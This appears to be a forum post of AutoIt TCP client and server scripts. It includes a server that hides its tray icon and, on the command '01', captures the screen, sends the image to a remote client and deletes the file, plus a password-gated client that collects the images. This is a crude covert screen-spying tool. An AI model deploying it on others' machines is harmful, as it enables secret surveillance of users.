TCP Sever-Client

Global $MainSocket
Local $MaxLength = 512; Maximum Length Of Text
Local $Port = 1000; Port Number
Local $Server = @IPAddress1; Server IpAddress
TCPStartup()
$MainSocket = TCPConnect($Server, $Port)
If $MainSocket = -1 Then Exit MsgBox(16, "Error", "Unable to connect.")
While 1
$Data = TCPRecv($MainSocket, $MaxLength)
If $Data = "~bye" Then
MsgBox(16, "Session Ended", "Connection Terminated.")
Exit
ElseIf $Data <> "" Then
; Unconditional Receive
MsgBox(0, "Received Packet", $Data)
EndIf
WEnd
Func OnAutoItExit()
If $MainSocket <> - 1 Then
TCPSend($MainSocket, "~bye")
TCPCloseSocket($MainSocket)
EndIf
TCPShutdown()
EndFunc;==>OnAutoItExit

Global $MainSocket = -1
Global $ConnectedSocket = -1
Local $MaxConnection = 1; Maximum Amount Of Concurrent Connections
Local $MaxLength = 512; Maximum Length Of String
Local $Port = 1000; Port Number
Local $Server = @IPAddress1; Server IpAddress
TCPStartup()
$MainSocket = TCPListen($Server, $Port)
If $MainSocket = -1 Then Exit MsgBox(16, "Error", "Unable to intialize socket.")
While 1
$Data = TCPRecv($ConnectedSocket, $MaxLength)
If $Data = "~bye" Then
MsgBox(16, "Session Ended", "Connection Terminated.")
Exit
ElseIf $Data <> "" Then
; Unconditional Receive
MsgBox(0, "Received Packet", $Data)
EndIf
If $ConnectedSocket = -1 Then
$ConnectedSocket = TCPAccept($MainSocket)
If $ConnectedSocket <> -1 Then
; Someone Connected
TCPSend($ConnectedSocket, "Connected!")
EndIf
EndIf
WEnd
Func OnAutoItExit()
If $ConnectedSocket <> - 1 Then
TCPSend($ConnectedSocket, "~bye")
TCPCloseSocket($ConnectedSocket)
EndIf
If $MainSocket <> -1 Then TCPCloseSocket($MainSocket)
TCPShutdown()
EndFunc;==>OnAutoItExit

Code:

$text= "xstop123456789"
$text = StringReplace($text,"xstop" ,"")
MsgBox(0,"",$text)

Code:

#NoTrayIcon
#include <Misc.au3>
#include <ScreenCapture.au3>
_Singleton(@ScriptName,0)
Opt('MustDeclareVars', 1)
Global $ConnectedSocket1 = -1
Global $MainSocket

Example()

Func Example()
    OnAutoItExitRegister("Cleanup")
    Local $recv
    Local $stop
    Local $start
    Local $g_IP = @IPAddress1
    Local $g_PORT = FileRead("C:\temp\port.txt")

    TCPStartup()
    $MainSocket = TCPListen($g_IP,$g_PORT, 100)
    If $MainSocket = -1 Then Exit
 
While 1
    If $ConnectedSocket1 = -1 Then  $ConnectedSocket1 = TCPAccept($MainSocket)
     
        $recv = TCPRecv($ConnectedSocket1, 2048)
      If $recv <> "" Then                         
         If StringInStr($recv,"01") Then

             _Main()   
                     Else
             MsgBox(0,"Windows",$recv)
                           
          EndIf
         $ConnectedSocket1 = -1
                EndIf       
WEnd
EndFunc

Func _Main()
 Local $hBmp,$xxy,$file
 $hBmp = _ScreenCapture_Capture ("") 
 _ScreenCapture_SaveImage (@MyDocumentsDir&"\Image.JPG", $hBmp)
$file = FileOpen(@MyDocumentsDir&"\Image.jpg",16)
$xxy = FileRead($file)
TCPSend($ConnectedSocket1,$xxy)
FileClose($file)
If FileExists(@MyDocumentsDir&"\Image.jpg") = 1 Then
fileDelete(@MyDocumentsDir&"\Image.jpg")
EndIf
EndFunc 

Func Cleanup() 
    If $MainSocket <> -1 Then TCPCloseSocket($MainSocket)
    If $ConnectedSocket1 <> -1 Then TCPCloseSocket( $ConnectedSocket1)
    TCPShutdown()
EndFunc

Code:

$Password = Inputbox("Password","Password To Programe")
If @error Then Exit
If $Password <> "1983" Then Exit

#include <GUIConstants.au3>
Global $read03, $MainSocket, $s_IP, $s_PORT,$ConnectSocket

Example()

Func Example()
OnAutoItExitRegister("Cleanup")

$Form1 = GUICreate("client", 371, 173, 197, 125)
$Label1 = GUICtrlCreateLabel("IP ", 16, 16, 20, 17)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
$Input1 = GUICtrlCreateInput("", 40, 8, 121, 21)
$Label2 = GUICtrlCreateLabel("PORT", 168, 16, 38, 17)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
$Input2 = GUICtrlCreateInput("", 208, 8, 65, 21)
$Button1 = GUICtrlCreateButton("Connect", 288, 8, 75, 25)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
$Label3 = GUICtrlCreateLabel("Messsge", 8, 152, 50, 17)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
$Input3 = GUICtrlCreateInput("", 64, 144, 209, 21)
$Button2 = GUICtrlCreateButton("Send", 288, 144, 75, 25)
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
$Edit1 = GUICtrlCreateEdit("", 8, 40, 353, 97)
GUICtrlSetData(-1, "")
GUISetState(@SW_SHOW)
TCPStartUp()
While 1
   $nMsg = GUIGetMsg()
   Switch $nMsg
      Case $GUI_EVENT_CLOSE
         Exit
      Case $Button1
         $s_IP = GUICtrlRead($Input1)
         $s_PORT = GUICtrlRead($Input2)
         If $s_IP <> "" And $s_PORT  <> "" Then
            $MainSocket = TCPConnect($s_IP,$s_PORT)
            If $MainSocket = -1 Then
               GUICtrlSetData($Edit1,"No Connect To Sever")
            Else
               GUICtrlSetData($Edit1,"Client Connect To Sever")
            EndIf
         Else
            GUICtrlSetData($Edit1,"Error IP and Port")               
         EndIf

      Case $Button2
         $read03 = GUICtrlRead($Input3)
         If $read03 <> "" Then   
            If $MainSocket <> -1 Then
               TCPSend($MainSocket,$read03)
               GUICtrlSetData($Edit1,"Send To Sever : "&$read03)
               GUICtrlSetData($Input3,"")
            Else
               MsgBox(0,"error","Error IP And PORT")
            EndIf
         Else
            MsgBox(0,"error","Error Messsge Send To Sever")
         EndIf
   EndSwitch

   $ConnectSocket = TCPRecv($MainSocket,2048)
   If $ConnectSocket <> "" Then       
      Filewrite(@MyDocumentsDir&"\test11.JPG",$ConnectSocket)                          
   EndIf
WEnd 
EndFunc

Func Cleanup() 
    If $MainSocket <> -1 Then TCPCloseSocket($MainSocket)
    If $ConnectSocket <> -1 Then TCPCloseSocket($ConnectSocket)
    TCPShutdown()
EndFunc